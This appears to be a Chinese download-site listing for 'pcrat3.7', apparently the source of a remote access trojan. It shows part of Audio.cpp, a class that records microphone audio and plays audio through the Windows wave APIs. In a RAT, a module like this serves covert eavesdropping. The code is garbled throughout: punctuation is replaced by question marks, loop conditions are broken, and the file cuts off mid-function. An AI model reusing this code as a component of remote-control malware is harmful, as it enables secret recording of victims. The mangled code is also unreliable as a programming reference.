資源簡(jiǎn)介
pcrat3.7
代碼片段和文件信息
//?Audio.cpp:?implementation?of?the?CAudio?class.
//
//////////////////////////////////////////////////////////////////////
#include?“Audio.h“
//////////////////////////////////////////////////////////////////////
//?Construction/Destruction
//////////////////////////////////////////////////////////////////////
CAudio::CAudio()
{
m_hEventWaveIn =?CreateEvent(NULL?false?false?NULL);
m_hStartRecord =?CreateEvent(NULL?false?false?NULL);
m_hThreadCallBack =?NULL;
m_nWaveInIndex =?0;
m_nWaveOutIndex =?0;
m_nBufferLength =?1000;?//?m_GSMWavefmt.wfx.nSamplesPerSec?/?8(bit)
m_bIsWaveInUsed =?false;
m_bIsWaveOutUsed =?false;
for?(int?i?=?0;?i?2;?i++)
{
m_lpInAudioData[i]?=?new?BYTE[m_nBufferLength];
m_lpInAudioHdr[i]?=?new?WAVEHDR;
m_lpOutAudioData[i]?=?new?BYTE[m_nBufferLength];
m_lpOutAudioHdr[i]?=?new?WAVEHDR;
}
memset(&m_GSMWavefmt?0?sizeof(GSM610WAVEFORMAT));
m_GSMWavefmt.wfx.wFormatTag?=?WAVE_FORMAT_GSM610;?//?ACM?will?auto?convert?wave?format
m_GSMWavefmt.wfx.nChannels?=?1;
m_GSMWavefmt.wfx.nSamplesPerSec?=?8000;
m_GSMWavefmt.wfx.nAvgBytesPerSec?=?1625;
m_GSMWavefmt.wfx.nBlockAlign?=?65;
m_GSMWavefmt.wfx.wBitsPerSample?=?0;
m_GSMWavefmt.wfx.cbSize?=?2;
m_GSMWavefmt.wSamplesPerBlock?=?320;
}
CAudio::~CAudio()
{
if?(m_bIsWaveInUsed)
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for?(int?i?=?0;?i?2;?i++)
waveInUnprepareHeader(m_hWaveIn?m_lpInAudioHdr[i]?sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
TerminateThread(m_hThreadCallBack?-1);
}
if?(m_bIsWaveOutUsed)
{
waveOutReset(m_hWaveOut);
for?(int?i?=?0;?i?2;?i++)
waveOutUnprepareHeader(m_hWaveOut?m_lpInAudioHdr[i]?sizeof(WAVEHDR));
waveOutClose(m_hWaveOut);
}
for?(int?i?=?0;?i?2;?i++)
{
delete?[]?m_lpInAudioData[i];
delete?m_lpInAudioHdr[i];
delete?[]?m_lpOutAudioData[i];
delete?m_lpOutAudioHdr[i];
}
CloseHandle(m_hEventWaveIn);
CloseHandle(m_hStartRecord);
CloseHandle(m_hThreadCallBack);
}
LPBYTE?CAudio::getRecordBuffer(LPDWORD?lpdwBytes)
{
//?Not?open?WaveIn?yet?so?open?it...
if?(!m_bIsWaveInUsed?&&?!InitializeWaveIn())
return?NULL;
if?(lpdwBytes?==?NULL)
return?NULL;
SetEvent(m_hStartRecord);
WaitForSingleobject(m_hEventWaveIn?INFINITE);
*lpdwBytes?=?m_nBufferLength;
return m_lpInAudioData[m_nWaveInIndex];
}
bool?CAudio::playBuffer(LPBYTE?lpWaveBuffer?DWORD?dwBytes)
{
if?(!m_bIsWaveOutUsed?&&?!InitializeWaveOut())
return?NULL;
for?(int?i?=?0;?i? {
memcpy(m_lpOutAudioData[m_nWaveOutIndex]?lpWaveBuffer?m_nBufferLength);
waveOutWrite(m_hWaveOut?m_lpOutAudioHdr[m_nWaveOutIndex]?sizeof(WAVEHDR));
m_nWaveOutIndex?=?1?-?m_nWaveOutIndex;
}
return?true;
}
bool?CAudio::InitializeWaveIn()
{
if?(!waveInGetNumDevs())
return?false;
MMRESULT mmResult;
DWORD dwThreadID?=?0;
m_hThreadCallBack?=?CreateThread(NULL
評(píng)論
共有 條評(píng)論